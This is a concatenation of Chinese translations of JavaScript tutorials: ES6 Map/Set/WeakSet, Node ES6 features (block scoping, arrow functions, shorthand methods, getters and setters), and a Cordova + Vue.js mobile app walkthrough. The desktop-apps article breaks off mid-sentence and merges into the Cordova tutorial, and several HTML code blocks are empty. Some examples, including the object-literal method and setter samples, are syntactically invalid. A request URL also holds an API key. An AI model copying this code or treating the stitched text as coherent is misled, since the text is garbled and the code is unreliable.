使用 WeakMap 替代就可以解决上面的问题: "use strict"; const cache = new WeakMap(); // 不会再有内存泄露了 // 剩下的都一样 这样当应用失去不需要的元素的引用时,垃圾回收系统可以自动重用那些元素。 WeakMap 的API 和Map 相似,但有如下几点不同: 1. 在 WeakMap 里你可以使用 object 作为键。 这意味着不能以 String 和 Symbol 做键。 2. WeakMap 只有 `set`,`get`,`has`,和 `delete` 方法 -- 那意味着 **你不能遍历 weak map**. 3. WeakMaps 没有 `size` 属性。 不能遍历或检查 WeakMap 的长度的原因是,在遍历过程中可能会遇到垃圾回收系统的运行: 这一瞬间是满的,下一秒就没了。 这种不可预测的行为需要谨慎对待,TC39(ECMA第39届技术委员会) 曾试图避免禁止 WeakMap 的遍历和长度检测。 其他的案例,可以在这里找到 [Use Cases for WeakMap](http://exploringjs.com/es6/ch_maps-sets.html#_use-cases-for-weakmaps),来自 Exploring ES6. ## Set **Set** 就是只包含一个值的集合。换句换说,每个 set 的元素只会出现一次。 这是一个有用的数据类型,如果你要追踪唯一并且固定的 object ,比如说聊天室的当前用户。 Set 和 Map 有完全相同的 API。主要的不同是 Set 没有 `set` 方法,因为它不能存储键值对。剩下的几乎相同。 "use strict"; // 构造器 let scotch_collection = new Set(); // 基本的 API 方法 // Set.prototype.add (O) :: 和 set 一样,添加一个对象 scotch_collection.add('Lagavulin 18'); scotch_collection.add('The Dalmore'); // 你也可以用数组构造一个 set scotch_collection = new Set(['Lagavulin 18', 'The Dalmore']); // 所有的 set 都有一个 length 属性。这个属性会告诉你 set 里有多少对象 // 用 set 或 map 的时候,一定记住用 size,不用 length console.log(scotch_collection.size); // 2 // Set.prototype.has(O) :: 包含对象 O 返回 true 否则返回 false console.log(scotch_collection.has('The Dalmore')); // true console.log(scotch_collection.has('Glenfiddich 18')); // false // Set.prototype.delete(O) :: 删除 set 中的 O 对象,成功返回 true,不存在返回 false scotch_collection.delete('The Dalmore'); // true -- break my heart // Set.prototype.clear() :: 删除 set 中的所有对象 scotch_collection.clear(); console.log( scotch_collection ); // Set {} -- long night. /* 迭代方法 * Set 提供了多种方法遍历 * 重新设置值,继续探索 */ scotch_collection.add('Lagavulin 18'); scotch_collection.add('Glenfiddich 18'); /* Set.prototype.forEach(callback[, thisArg]) :: 执行一个函数,回调函数 * set 里在每个的键值对。 You can set the value of 'this' inside * the callback by passing a thisArg, but that's optional and seldom necessary. */ scotch_collection.forEach(function (scotch) { console.log(`Excuse me while I sip this ${scotch}.`); }); // Set.prototype.values() :: 返回 set 中的所有值 let scotch_names = scotch_collection.values(); for (let name of scotch_names) { console.log(`I just drank ${name} . . . I think.`); } // Set.prototype.keys() :: 对 set 来说,和 Set.prototype.values() 方法一致 scotch_names = scotch_collection.keys(); for (let name of scotch_names) { console.log(`I just drank ${name} . . . I think.`); } /* Set.prototype.entries() :: 返回 map 的所有键值对,提供一个包含两个元素的数组 * 这有点多余,但是这种方法可以保留 map API 的可操作性 * */ const entries = scotch_collection.entries(); for (let entry of entries) { console.log(`I got some ${entry[0]} in my cup and more ${entry[1]} in my flask!`); } ## WeakSet WeakSet 相对于 Set 就像 WeakMap 相对于 Map : 1. 在 WeakSet 里 object 的引用是弱类型的。 2. WeakSet 没有 property 属性。 3. 不能遍历 WeakSet。 Weak set的用例并不多,但是这儿有一些 [Domenic Denicola](https://mail.mozilla.org/pipermail/es-discuss/2015-June/043027.html) 称呼它们为 "perfect for branding" -- 意思就是标记一个对象以满足其他需求。 这儿是他给的例子: /* 下面这个例子来自 Weakset 使用案例的邮件讨论 * 邮件的内容和讨论的其余部分在这儿: * https://mail.mozilla.org/pipermail/es-discuss/2015-June/043027.html */ const foos = new WeakSet(); class Foo { constructor() { foos.add(this); } method() { if (!foos.has(this)) { throw new TypeError("Foo.prototype.method called on an incompatible object!"); } } } 这是一个轻量科学的方法防止大家在一个 _没有_ 被 `Foo` 构造出的 object 上使用 `method`。 使用的 WeakSet 的优势是允许 `foo` 里的 object 使用完后被垃圾回收。 ## 总结 这篇文章里,我们已经了解了 ES2015 带来的一些好处,从 `string` 的便捷方法和模板变量到适当的Map 和 Set 实现。 `String` 方法 和 模板字符串易于上手。同时你很快也就不用到处用 weak set 了,我认为你很快就会喜欢上 Set 和 Map。 如何你有任何问题,请在下方留言,或在 Twitter([@PelekeS](http://twitter.com/PelekeS) 上跟我联系-- 我会逐一答复。 ================================================ FILE: TODO/better-node-with-es6-pt-i.md ================================================ >* 原文链接 : [Better Node with ES6, Pt. I](https://scotch.io/tutorials/better-node-with-es6-pt-i) * 原文作者 : [Peleke](https://github.com/Peleke) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [huanglizhuo](https://github.com/huanglizhuo) * 校对者: [yllziv](https://github.com/yllziv) , [godofchina](https://github.com/godofchina) # 使用 ES6 写更好的 JavaScript part I:广受欢迎的新特性 ## 介绍 在 ES2015 规范敲定并且 Node.js 增添了大量的函数式子集的背景下,我们终于可以拍着胸脯说:未来就在眼前。 . . . 我早就想这样说了 但这是真的。[V8 引擎将很快实现规范](http://v8project.blogspot.com/2016/03/v8-release-50.html),而且 [Node 已经添加了大量可用于生产环境的 ES2015 特性](https://nodejs.org/en/docs/es6/)。下面要列出的是一些我认为很有必要的特性,而且这些特性是不使用需要像 [Babel](https://babeljs.io/) 或者 [Traceur](https://github.com/google/traceur-compiler) 这样的翻译器就可以直接使用的。 这篇文章将会讲到三个相当流行的 ES2015 特性,并且已经在 Node 中支持了了: * 用 `let` 和 `const` 声明块级作用域; * 箭头函数; * 简写属性和方法。 让我们马上开始。 ## `let` 和 `const` 声明块级作用域 **作用域** 是你程序中变量可见的区域。换句话说就是一系列的规则,它们决定了你声明的变量在哪里是可以使用的。 大家应该都听过 ,在 JavaScript 中只有在函数内部才会创造新的作用域。然而你创建的 98% 的作用域事实上都是函数作用域,其实在 JavaScript 中有三种创建新作用域的方法。你可以这样: 1. **创建一个函数**。你应该已经知道这种方式。 2. **创建一个 `catch` 块**。 [我绝对没哟开玩笑](https://github.com/getify/You-Dont-Know-JS/blob/master/scope%20&%20closures/apB.md). 3. **创建一个代码块**。如果你用的是 ES2015,在一段代码块中用 `let` 或者 `const` 声明的变量会限制它们**只在**这个块中可见。这叫做_块级作用域_. 一个_代码块_就是你用花括号包起来的部分。 `{ 像这样 }`。在 `if`/`else` 声明和 `try`/`catch`/`finally` 块中经常出现。如果你想利用块作用域的优势,你可以用花括号包裹任意的代码来创建一个代码块 考虑下面的代码片段。 // 在 Node 中你需要使用 strict 模式尝试这个 "use strict"; var foo = "foo"; function baz() { if (foo) { var bar = "bar"; let foobar = foo + bar; } // foo 和 bar 这里都可见 console.log("This situation is " + foo + bar + ". I'm going home."); try { console.log("This log statement is " + foobar + "! It threw a ReferenceError at me!"); } catch (err) { console.log("You got a " + err + "; no dice."); } try { console.log("Just to prove to you that " + err + " doesn't exit outside of the above `catch` block."); } catch (err) { console.log("Told you so."); } } baz(); try { console.log(invisible); } catch (err) { console.log("invisible hasn't been declared, yet, so we get a " + err); } let invisible = "You can't see me, yet"; // let 声明的变量在声明前是不可访问的 还有些要强调的 * 注意 `foobar` 在 `if` 块之外是不可见的,因为我们没有用`let` 声明; * 我们可以在任何地方使用 `foo` ,因为我们用 `var` 定义它为全局作用域可见; * 我们可以在 `baz` 内部任何地方使用 `bar`, 因为 `var`-声明的变量是在定义的整个作用域内都可见。 * 用 let or const 声明的变量不能在定义前调用。换句话说,它不会像 `var` 变量一样被编译器提升到作用域的开始处。 `const` 与 `let` 类似,但有两点不同。 1. _必须_ 给声明为 `const` 的变量在声明时赋值。不可以先声明后赋值。 2. _不能_ 改变`const`变量的值,只有在创建它时可以给它赋值。如果你试图改变它的值,会得到一个 `TyepError`。 ### `let` & `const`: Who Cares? 我们已经用 `var` 将就了二十多年了,你可能在想我们_真的_需要新的类型声明关键字吗?(这里作者应该是想表达这个意思) 问的好,简单的回答就是-- 不, 并不 _真正_ 需要。但在可以用`let` 和 `const` 的地方使用它们很有好处的。 * `let` 和 `const` 声明变量时都不会被提升到作用域开始的地方,这样可以使代码可读性更强,制造尽可能少的迷惑。 * 它会尽可能的约束变量的作用域,有助于减少令人迷惑的命名冲突。 * 这样可以让程序只有在必须重新分配变量的情况下重新分配变量。 `const` 可以加强常量的引用。 另一个例子就是 `let` 在 `for` 循环中的使用: "use strict"; var languages = ['Danish', 'Norwegian', 'Swedish']; //会污染全局变量! for (var i = 0; i < languages.length; i += 1) { console.log(`${languages[i]} is a Scandinavian language.`); } console.log(i); // 4 for (let j = 0; j < languages.length; j += 1) { console.log(`${languages[j]} is a Scandinavian language.`); } try { console.log(j); // Reference error } catch (err) { console.log(`You got a ${err}; no dice.`); } 在 `for`循环中使用 `var` 声明的计数器并不会 _真正_ 把计数器的值限制在本次循环中。 而 `let` 可以。 `let` 在每次迭代时重新绑定循环变量有很大的优势,这样每个循环中拷贝 自身 , 而不是共享全局范围内的变量。 "use strict"; // 简洁明了 for (let i = 1; i < 6; i += 1) { setTimeout(function() { console.log("I've waited " + i + " seconds!"); }, 1000 * i); } // 功能完全混乱 for (var j = 0; j < 6; j += 1) { setTimeout(function() { console.log("I've waited " + j + " seconds for this!"); }, 1000 * j); } 第一层循环会和你想象的一样工作。而下面的会每秒输出 "I've waited 6 seconds!"。 好吧,我选择狗带。 ## 动态 `this` 关键字的怪异 JavaScript 的 `this` 关键字因为总是不按套路出牌而臭名昭著。 事实上,它的 [规则相当简单](https://github.com/getify/You-Dont-Know-JS/tree/master/this%20%26%20object%20prototypes)。不管怎么说,`this` 在有些情形下会导致奇怪的用法 "use strict"; const polyglot = { name : "Michel Thomas", languages : ["Spanish", "French", "Italian", "German", "Polish"], introduce : function () { // this.name is "Michel Thomas" const self = this; this.languages.forEach(function(language) { // this.name is undefined, so we have to use our saved "self" variable console.log("My name is " + self.name + ", and I speak " + language + "."); }); } } polyglot.introduce(); 在 `introduce` 里, `this.name` 是 `undefined`。在回调函数外面,也就是 `forEach` 中, 它指向了 `polyglot` 对象。在这种情形下我们总是希望在函数内部 `this` 和函数外部的 `this` 指向同一个对象。 问题是在 JavaScript 中函数会根据[确定性四原则](https://github.com/getify/You-Dont-Know-JS/blob/master/this%20&%20object%20prototypes/ch2.md)在调用时定义自己的 `this` 变量。这就是著名的 _动态 `this`_ 机制。 这些规则中没有一个是关于查找 this 所描述的“附近作用域”的;也就是说并没有一个确切的方法可以让 JavaScript 引擎能够基于包裹作用域来定义 this的含义。 这就意味着当引擎查找 `this` 的值时,可以找到值,但却和回调函数之外的不是同一个值。有两种传统的方案可以解决这个问题。 1. 在函数外面吧 `this` 保存到一个变量中,通常取名 `self`,并在内部函数中使用;或者 2. 在内部函数中调用 [`bind`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind) 阻止对 `this` 的赋值。 以上两种办法均可生效,但会产生副作用。 另一方面,如果内部函数 _没有_ 设置它自己的 `this` 值,JavaScript 会像查找其它变量那样查找 `this` 的值:通过遍历父作用域直到找到同名的变量。这样会让我们使用附近作用域代码中的 this 值,这就是著名的 _词法 `this`_ 。 如果有样的特性,我们的代码将会更加的清晰,不是吗? ### 箭头函数中的词法 `this` 在 ES2015 中,我们有了这一特性。箭头函数 _不会_ 绑定 `this` 值,允许我们利用词法绑定 `this` 关键字。这样我们就可以像这样重构上面的代码了: "use strict"; let polyglot = { name : "Michel Thomas", languages : ["Spanish", "French", "Italian", "German", "Polish"], introduce : function () { this.languages.forEach((language) => { console.log("My name is " + this.name + ", and I speak " + language + "."); }); } } . . . 这样就会按照我们想的那样工作了。 箭头函数有一些新的语法。 "use strict"; let languages = ["Spanish", "French", "Italian", "German", "Polish"]; // 多行箭头函数必须使用花括号, // 必须明确包含返回值语句 let languages_lower = languages.map((language) => { return language.toLowerCase() }); // 单行箭头函数,花括号是可省的, // 函数默认返回最后一个表达式的值 // 你可以指明返回语句,这是可选的。 let languages_lower = languages.map((language) => language.toLowerCase()); // 如果你的箭头函数只有一个参数,可以省略括号 let languages_lower = languages.map(language => language.toLowerCase()); // 如果箭头函数有多个参数,必须用圆括号包裹 let languages_lower = languages.map((language, unused_param) => language.toLowerCase()); console.log(languages_lower); // ["spanish", "french", "italian", "german", "polish"] // 最后,如果你的函数没有参数,你必须在箭头前加上空的括号。 (() => alert("Hello!"))(); [MDN 关于箭头函数的文档](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions) 解释的很好。 ## 简写属性和方法 ES2015 提供了在对象上定义属性和方法的一些新方式。 ### 简写方法 在 JavaScript 中, _method_ 是对象的一个有函数值的属性: "use strict"; const myObject = { const foo = function () { console.log('bar'); }, } 在ES2015 中,我们可以这样简写: "use strict"; const myObject = { foo () { console.log('bar'); }, * range (from, to) { while (from < to) { if (from === to) return ++from; else yield from ++; } } } 注意你也可以使用生成器去定义方法。只需要在函数名前面加一个星号 (*)。 这些叫做 _方法定义_ 。和传统的函数作为属性很像,但有一些不同: * _只能_ 在方法定义处调用 `super` ; * _不允许_ 用 `new` 调用方法定义。 我会在随后的几篇文章中讲到 `super` 关键字。如果你等不及了, [Exploring ES6](http://exploringjs.com/es6/ch_classes.html) 中有关于它的干货。 ### 简写和推导属性 ES6 还引入了 _简写_ 和 _推导属性_ 。 如果对象的键值和变量名是一致的,那么你可以仅用变量名来初始化你的对象,而不是定义冗余的键值对。 "use strict"; const foo = 'foo'; const bar = 'bar'; // 旧语法 const myObject = { foo : foo, bar : bar }; // 新语法 const myObject = { foo, bar } 两中语法都以 `foo` 和 `bar` 键值指向 `foo` and `bar` 变量。 后面的方式语义上更加一致;这只是个语法糖。 当用[揭示模块模式](https://addyosmani.com/resources/essentialjsdesignpatterns/book/#revealingmodulepatternjavascript)来定义一些简洁的公共 API 的定义,我常常利用简写属性的优势。 "use strict"; function Module () { function foo () { return 'foo'; } function bar () { return 'bar'; } // 这样写: const publicAPI = { foo, bar } /* 不要这样写: const publicAPI = { foo : foo, bar : bar } */ return publicAPI; }; 这里我们创建并返回了一个 `publicAPI` 对象,键值 `foo` 指向 `foo` 方法,键值 `bar` 指向 `bar` 方法。 ### 推导属性名 这是 _不常见_ 的例子,但 ES6 允许你用表达式做属性名。 "use strict"; const myObj = { // 设置属性名为 foo 函数的返回值 [foo ()] () { return 'foo'; } }; function foo () { return 'foo'; } console.log(myObj.foo() ); // 'foo' 根据 Dr. Raushmayer 在 [Exploring ES6](http://exploringjs.com/)中讲的,这种特性最主要的用途是设置属性名与 [Symbol](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol) 值一样。 ### Getter 和 Setter 方法 最后,我想提一下 `get` 和 `set` 方法,它们在 ES5 中就已经支持了。 "use strict"; // 例子采用的是 MDN's 上关于 getter 的内容 // https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/get const speakingObj = { // 记录 “speak” 方法调用过多少次 words : [], speak (word) { this.words.push(word); console.log('speakingObj says ' + word + '!'); }, get called () { // 返回最新的单词 const words = this.words; if (!words.length) return 'speakingObj hasn\'t spoken, yet.'; else return words[words.length - 1]; } }; console.log(speakingObj.called); // 'speakingObj hasn't spoken, yet.' speakingObj.speak('blargh'); // 'speakingObj says blargh!' console.log(speakingObj.called); // 'blargh' 使用 getters 时要记得下面这些: * Getters 不接受参数; * 属性名不可以和 getter 函数重名; * 可以用 `Object.defineProperty(OBJECT, "property name", { get : function () { . . . } })` 动态创建 getter 作为最后这点的例子,我们可以这样定义上面的 getter 方法: "use strict"; const speakingObj = { // 记录 “speak” 方法调用过多少次 words : [], speak (word) { this.words.push(word); console.log('speakingObj says ' + word + '!'); } }; // 这只是为了证明观点。我是绝对不会这样写的 function called () { // 返回新的单词 const words = this.words; if (!words.length) return 'speakingObj hasn\'t spoken, yet.'; else return words[words.length - 1]; }; Object.defineProperty(speakingObj, "called", get : getCalled ) 除了 getters,还有 setters。像平常一样,它们通过自定义的逻辑给对象设置属性。 "use strict"; // 创建一个新的 globetrotter(环球者)! const globetrotter = { // globetrotter 现在所处国家所说的语言 const current_lang = undefined, // globetrotter 已近环游过的国家 let countries = 0, // 查看环游过哪些国家了 get countryCount () { return this.countries; }, // 不论 globe trotter 飞到哪里,都重新设置他的语言 set languages (language) { // 增加环游过的城市数 countries += 1; // 重置当前语言 this.current_lang = language; }; }; globetrotter.language = 'Japanese'; globetrotter.countryCount(); // 1 globetrotter.language = 'Spanish'; globetrotter.countryCount(); // 2 上面讲的关于 getters 的也同样适用于 setters ,但有一点不同: * getter _不接受_ 参数, setters _必须_ 接受 _正好一个_ 参数。 破坏这些规则中的任意一个都会抛出一个错误。 既然 Angular 2 正在引入 TypeCript 并且把 `class` 带到了台前,我希望 `get` and `set` 能够流行起来. . . 但还有点希望它们不要🔥起来。 ## 结论 未来的 JavaScript 正在变成现实,是时候把它提供的东西都用起来了。这篇文章里,我们浏览了 ES2015 的三个很流行的特性: * `let` 和 `const` 带来的块级作用域; * 箭头函数带来的 `this` 的词法作用域; * 简写属性和方法,以及 getter 和 setter 函数的回顾。 关于 `let`,`const`,以及块级作用域的详细信息,请参考 [Kyle Simpson's take on block scoping](https://davidwalsh.name/for-and-against-let)。这里有你快速练习需要的所有指导,参考 MDN 关于 [`let`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let) 和 [`const`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const)的详细信息。 Dr Rauschmayer 写了一片篇[相当好的关于箭头函数和词法 `this` 的文章](http://www.2ality.com/2012/04/arrow-functions.html)。如果你想了解关于这篇文章更深层次的信息,这绝对是一篇好文。 最后关于我们这里讨论的所有的更详细更深入的内容,请看 Dr Rauschmayer 的书 [Exploring ES6](http://exploringjs.com/),这是最好的关于 web 最好的一体化指导手册。 ES2015 的特性中哪个最让你激动? 有什么想让我在后面的文章中写入的新特性? 那就在下面或者在 Twitter 上 ([@PelekeS](http://twitter.com/PelekeS)) 评论吧 -- 我会尽最大的努力单独回复你的。 ================================================ FILE: TODO/beyond-browser-web-desktop-apps.md ================================================ > * 原文地址:[Beyond The Browser: From Web Apps To Desktop Apps](https://www.smashingmagazine.com/2017/03/beyond-browser-web-desktop-apps/) > * 原文作者:本文已获原作者 [Adam Lynch](https://www.smashingmagazine.com/author/adamlynch/) 授权 > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者: [bambooom](https://github.com/bambooom)、[imink](https://github.com/imink) > * 校对者:[bambooom](https://github.com/bambooom)、[imink](https://github.com/imink)、[sunui](https://github.com/sunui) ## 超越浏览器:从 web 应用到桌面应用 一开始我是个 web 开发者,现在我是个全栈开发者,但从未想过在桌面上有所作为。我热爱 web 技术,热爱这个无私的社区,热爱它对于开源的友好,尝试挑战极限。我热爱探索好看的网站和强大的应用。当我被指派做桌面应用任务的时候,我非常忧虑和害怕,因为那看起来很难,或者至少不一样。 这并不吸引人,对吧?你需要学一门新的语言,甚至三门?想象一下过时的工作流,古旧的工具,没有任何你喜欢的有关 web 的一切。你的职业发展会被怎样影响呢? 别慌,深呼吸,现实情况是,作为 web 开发者,你已经拥有开发现代桌面应用所需的一切技能,得益于新的强大的 API,你甚至可以在桌面应用中发挥你最大的潜能。 本文将会介绍使用 [NW.js](http://nwjs.io/) 和 [Electron](https://electron.atom.io/) 开发桌面应用,包括它们的优劣,以及如何使用同一套代码库来开发桌面、web 应用,甚至更多。 ### 为什么? 首先,为什么会有人开发桌面应用?任何现有的 web 应用(不同于网站,如果你认为它们是不同的)都可能适合变成一个桌面应用。你可以围绕任何可以从与用户系统集成中获益的 web 应用构建桌面应用;例如本地通知、开机启动、与文件的交互等。有些用户单纯更喜欢在自己的电脑中永久保存一些 app,无论是否联网都可以访问。 也许你有个想法,但只能用作桌面应用,有些事情只是在 web 应用中不可能实现(至少还有一点,但更多的是这一点)。你可能想要为公司内部创建一个独立的功能性应用程序,而不需要任何人安装除了你的 app 之外的任何内容(因为内置 Node.js )。也许你有个有关 Mac 应用商店的想法,也许只是你的一个个人兴趣的小项目。 很难总结为什么你应该考虑开发桌面应用,因为真的有很多类型的应用你可以创建。这非常取决于你想要达到什么目的,API 是否足够有利于开发,离线使用将多大程度上增强用户体验。在我的团队,这些都是毋庸置疑的,因为我们在开发一个[聊天应用程序](https://teamwork.com/chat)。另一方面来说,一个依赖于网络而没有任何与系统集成的桌面应用应该做成一个 web 应用,并且只做 web 应用。当用户并不能从桌面应用中获得比在浏览器中访问一个网址更多的价值的时候,期待用户下载你的应用(其中自带浏览器以及 Node.js)是不公平的。 比起描述你个人应该建造的桌面应用及其原因,我更希望的是激发一个想法,或者只是激发你对这篇文章的兴趣。继续往下读来看看用 web 技术构造一个强大的桌面应用是多么简单,以及在创建过程中你应该付出什么。 ### NW.js 桌面应用已经有很长一段时间了,我知道你没有很多时间,所以我们跳过一些历史,从 2011 年的上海开始。来自 Intel 开源技术中心的 Roger Wang 开发了 node-webkit,一个概念验证的 Node.js 模块,这个模块可以让用户创建一个 WebKit 内核的浏览器窗口并直接在 ` 为了使应用可以访问 Vue.js 库,我们还需要在 www/index.html 文件中把下面代码添加到内容安全协议(CSP) meta 标签的最后: ; script-src 'self' http://cdn.jsdelivr.net/vue/1.0.16/vue.js 'unsafe-eval' 内容安全协议的网页允许你创建来自可信来源的白名单,并引导浏览器只执行那些可信来源的操作或资源渲染。这和上面提到的白名单插件不同,因为白名单插件主要用于定义应用允许访问什么链接,而 CSP 拥有定义应用可以执行何种脚本以及应用向哪个 url 提出 http 请求。 CSP `meta` 标签的 `script-src` 部分定义了应用可以执行的脚本。 * ’self’ - 允许统一来源的脚本,例如 www/js/index.js * [http://cdn.jsdelivr.net/vue/1.0.16/vue.js](http://cdn.jsdelivr.net/vue/1.0.16/vue.js) - 允许 Vue.js 库 * ’unsafe-eval’ - 允许不安全的动态代码评估,因为 Vue.js 中有部分代码使用了字符串生成函数 CSP meta 标签看起来应该像这样 获得有关 CSP 的更多内容, 查看 [html5rocks](http://www.html5rocks.com/en/tutorials/security/content-security-policy/) 和 [Cordova 文档](https://github.com/apache/cordova-plugin-whitelist/blob/master/README.md#content-security-policy). 使用 Vue.js 替换 **www/index.html** 中 `body` 部分代码显示随机单词并移除一些注释后,**wwww/index.html** 就会像这样 ``` Random Word

    Random Word

    {{ randomWord }}

    ``` 现在我们将添加一些 JavaScript 来生成随机单词进行展示。 当应用接收到 `deviceready` 事件时,**www/js/index.js** 即可生成改变标签背景色的代码。接收我们简单的随机单词生成器的 `deviceready` 事件后,我们无需做其他多余的事情,不过最好知道你可以用 `bindEvents` 方法在应用运行周期的不同阶段做不同的事情。查看 [Cordova Events](https://cordova.apache.org/docs/en/latest/cordova/events/events.html) 获得更多信息。 我们将在 **www/js/index.js** 添加一个名叫 `setupVue` 方法,它可以创建一个新的 Vue 实例,并装载到随机单词 `div` 。新的 Vue 实例会使用 `getRandomWord` 方法,单击 Get Random Word 按键即可从列表中随机提取单词。我么也需要从 `initialize` 方法中调用 `setupVue`。 var app = { initialize: function() { this.bindEvents(); this.setupVue(); }, ... setupVue: function() { var vm = new Vue({ el: "#vue-instance", data: { randomWord: '', words: [ 'formidable', 'gracious', 'daft', 'mundane', 'onomatopoeia' ] }, methods: { getRandomWord: function() { var randomIndex = Math.floor(Math.random() * this.words.length); this.randomWord = this.words[randomIndex]; } } }); } }; app.initialize(); 移除掉 `receivedEvent` 里改变标签背景色的代码和一些注释之后, **www/js/index.js** 看上去是这样的: var app = { initialize: function() { this.bindEvents(); this.setupVue(); }, bindEvents: function() { document.addEventListener('deviceready', this.onDeviceReady, false); }, onDeviceReady: function() { app.receivedEvent('deviceready'); }, receivedEvent: function(id) { console.log('Received Event: ' + id); }, setupVue: function() { var vm = new Vue({ el: "#vue-instance", data: { randomWord: '', words: [ 'formidable', 'gracious', 'daft', 'mundane', 'onomatopoeia' ] }, methods: { getRandomWord: function() { var randomIndex = Math.floor(Math.random() * this.words.length); this.randomWord = this.words[randomIndex]; } } }); } }; app.initialize(); 创建,连接手机然后运行: cordova build android cordova run android 该应用看上去应该像下面这样: ![Random Word App Cordova Vue.js](https://coligo.io/building-a-mobile-app-with-cordova-vuejs/random-word-cordova-vuejs.png) # vue-resource 发起 HTTP 请求 该应用没有从硬编码的单词列表中提取随机单词,而是从可以生成随机单词的 API 中发起请求的,例如 [Wordnik Random Word API](http://developer.wordnik.com/docs.html#!/words/getRandomWord_get_4) 。 为了能够向随机单词 API 发起请求, 需要在 CSP 元标签最后添加下面代码。 ; connect-src http://api.wordnik.com:80/v4/words.json/randomWord The `connect-src` part of the CSP meta tag defines which origins the app can make http requests to. CSP 元标签的 `connect-src` 部分定义了应用发起 HTTP 请求的来源。 该应用可以使用[vue-resource library](https://github.com/vuejs/vue-resource) 发起 HTTP 请求,那样我们就可以添加 vue 源到 CSP 元标签 `script-src` 部分以及添加 vue 源 CDN 。 **index.html** 将变成: ``` ... ... ``` 为了向随机单词 API 发起 http 请求,我们可使用 vue-resource 当中的 [http service](https://github.com/vuejs/vue-resource/blob/master/docs/http.md) ,这是来自 **www/js/index.js** 里 Vue 实例中的 `getRandomWord` 方法。 ... setupVue: function() { var vm = new Vue({ el: "#vue-instance", data: { randomWord: '' }, methods: { getRandomWord: function() { this.randomWord = '...'; this.$http.get( 'http://api.wordnik.com:80/v4/words.json/randomWord?api_key=a2a73e7b926c924fad7001ca3111acd55af2ffabf50eb4ae5' ).then(function (response) { this.randomWord = response.data.word; }, function (error) { alert(error.data); }); } } }); } }; app.initialize(); 创建,连接手机并运行: cordova build android cordova run android 应用和之前看起来一样,但是现在它可以从 API 当中获取随机单词了。 # 使用 Vue 组件 [Vueify](https://github.com/vuejs/vueify) 是一个 Vue.js 库,他可以帮你将 UI 变成独立的带有各自 HTML, JavaScript 和 CSS 的组件。这令你的应用更加的模块化,也方便你使用层级方式定义组件。 使用 Vue 组件需要在你的编译系统中添加额外的步骤以合并所有组件。Cordova 通过 [hooks](https://cordova.apache.org/docs/en/latest/guide/appdev/hooks/) 来指定额外的脚本在编译系统的各个部分运行,从而让该过程变得相当简单 这就是添加 Vue 组件之后目录的样子: ![Cordova Vue.js Directory Structure](https://coligo.io/building-a-mobile-app-with-cordova-vuejs/directory-structure-2.png) 创建一个带有随机单词生成器所有代码的组件,命名为 **www/js/random-word.vue** : ``` ``` **www/index.html**的 HTML 放入 `template` 标签,而 JavaScript 放入 **random-word.vue**的 `script` 标签 创建一个新的包含随机单词组件的 Vue 实例文件,命名 **www/js/main.js**: var Vue = require('vue'); var VueResource = require('vue-resource'); var RandomWord = require('./random-word.vue'); Vue.use(VueResource); var vm = new Vue({ el: 'body', components: { 'random-word': RandomWord } }); 为了合并组件,我们需要使用 [browserify](http://browserify.org/) 和 vueify 来创建一个 名为 bundle.js 的文件。创建一个新的名为 scripts 的目录,新建 **vueify-build.js** 文件,其中包含了需要合并的随机单词组件的代码。 以前的版本,vueify-build.js 这样的脚本是放在 hooks 目录里的,而 hooks 目录则从 cordova create 这个命令中创建,但是后来这种方式被[废弃了](https://cordova.apache.org/docs/en/latest/guide/appdev/hooks/index.html#via-hooks-directory-deprecated)。所以你可以删除了 hooks 目录并用 scipts 目录代替。 **scripts/vueify-build.js** 就会像这样: var fs = require('fs'); var browserify = require('browserify'); var vueify = require('vueify'); browserify('www/js/main.js') .transform(vueify) .bundle() .pipe(fs.createWriteStream('www/js/bundle.js')) 从前,我们在 **www/index.html** 使用 CDN 来引用 Vue.js 库,但是现在 **www/js/main.js** 用的是 JavaScript 来做。所以我们需要添加一个 **package.json** 文件为 Vue.js 库来定义所有需要的依赖。 { "name": "random-word", "version": "1.0.0", "description": "A mobile app for generating a random word", "main": "index.js", "dependencies": { "browserify": "~13.0.1", "vue": "~1.0.24", "vue-resource": "~0.7.4", "vueify": "~8.5.4", "babel-core": "6.9.1", "babel-preset-es2015": "6.9.0", "babel-runtime": "6.9.2", "babel-plugin-transform-runtime": "6.9.0", "vue-hot-reload-api": "2.0.1" }, "author": "Michael Viveros", "license": "Apache version 2.0" } 所有的 label 相关模块,以及 browserify 和 vue-hot-reload-api 由 vueify 使用,参考 [vueify 文档](https://github.com/vuejs/vueify#usage)。 获取定义在 **package.json** 里的所有 node 模块依赖: npm install 开发应用其他部分之前,在 **config.xml** 底部添加一个 hook 来告知 Cordova 绑定随机单词组件: ... ``` 调用 scripts/vueify-build.js 将产生合并的组件并放入 www/js/bundle.js 中。 通过向 `random-word` 和 `script` 标签添加指向合并组件的方式向 **www/index.html** 主体添加随机单词组件。 ``` ... Random Word ``` 注意到 **www/index.html** 中链接标签定义了应用的 CSS 和 **www/js/random-word.vue** 中的 `div` 。在 CSS 中使用了 "app" 类定义。 由于随机单词组件包含生成随机单词的所有代码,我们可以从 **www/js/index.js** 中删除 `setupVue` 方法,就会像这样: var app = { initialize: function() { this.bindEvents(); }, bindEvents: function() { document.addEventListener('deviceready', this.onDeviceReady, false); }, onDeviceReady: function() { app.receivedEvent('deviceready'); }, receivedEvent: function(id) { console.log('Received Event: ' + id); } }; app.initialize(); 创建,连接手机并运行: cordova build android cordova run android 应用外观和功能和先前一样,但是我们现在有使用 Vue 组件。 # 总结 全部完成了。 Cordova 令使用 web 技术开发移动应用变得超简单。 连接 Cordova 和 Vue.js 也很容易,而且让你充分利用手机应用上 Vue.js 相关的很酷的东西(2套数据绑定,组件……)现在你可以以一套代码使用 HTML, JavaScript 和 CSS 面向多个平台进行开发了。 本教程涵盖: * 开发一个 Cordova 工程 * 链接 Cordova 和 Vue.js * Cordova app 通过更新内容安全策略来发出 HTTP 申请 * 添加 Hooks 在 Cordova 应用中使用 Vue 组件 # 帮助 ### Android 安装好 Android SDK 之后,你可以运行下面的命来来打开 Android SDK 